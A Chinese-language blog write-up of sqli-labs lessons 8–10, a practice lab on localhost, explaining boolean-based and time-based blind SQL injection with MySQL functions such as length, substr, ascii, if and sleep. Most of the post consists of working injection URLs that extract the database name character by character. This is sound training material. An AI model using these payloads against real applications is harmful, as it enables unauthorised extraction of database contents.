1. 程式人生 > >sqli-labs (less-8-less-10)

sqli-labs (less-8-less-10)

pos clas src 127.0.0.1 使用 mage lee 小菜 ascii

盲註需要掌握一些MySQL的相關函數:
length(str):返回str字符串的長度。
substr(str, pos, len):將str從pos位置開始截取len長度的字符進行返回。註意這裏的pos位置是從1開始的,不是數組的0開始
mid(str,pos,len):跟上面的一樣,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代碼值。
ord(str):同上,返回ascii碼
if(a,b,c) :a為條件,a為true,返回b,否則返回c,如if(1>2,1,0),返回0
---------------------
作者:giantbranch
來源:CSDN
原文:https://blog.csdn.net/u012763794/article/details/51207833
版權聲明:本文為博主原創文章,轉載請附上博文鏈接!

正常套路

?id=1

技術分享圖片

id=1‘

技術分享圖片

id=1"

技術分享圖片

嘗試報錯註入

技術分享圖片

嘗試盲註

http://127.0.0.1/sql/Less-8/?id=1‘ and (length(database()))>0 --+

技術分享圖片

http://127.0.0.1/sql/Less-8/?id=1‘ and (length(database()))<0 --+

技術分享圖片

即存在盲註

利用二分法獲得表名

http://127.0.0.1/sql/Less-8/?id=1‘ and ascii(substr((select database()),1,1))=115 %23

技術分享圖片

第一個字母是s

第二個字母

技術分享圖片

依次下來

可是太慢了,要學會寫腳本

目前我這個小菜雞還不會寫腳本 ,等我學會了再來補充,

可以用sqlmap,不要依賴,除非做自己會寫tamper

less-9

http://127.0.0.1/sql/Less-9/?id=1‘ and length(database())>0 %23

技術分享圖片

id=1 and length(database())<0 %23

技術分享圖片

還是一樣 ,接下來使用時間盲註

判斷:

?id=1 and sleep(10) %23  //等了足足十秒才返回,可以用時間盲註

要用到if()

/?id=1 and if(length(database())<0,1,sleep(10)) %23   //判斷數據庫名的長度

?id=1 and if(substr(ascii(database()),1,1)<0,1,sleep(10)) %23
?id=1 and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23 //二分法猜解

less-10

這是被雙引號包圍的時間註入

sqli-labs (less-8-less-10)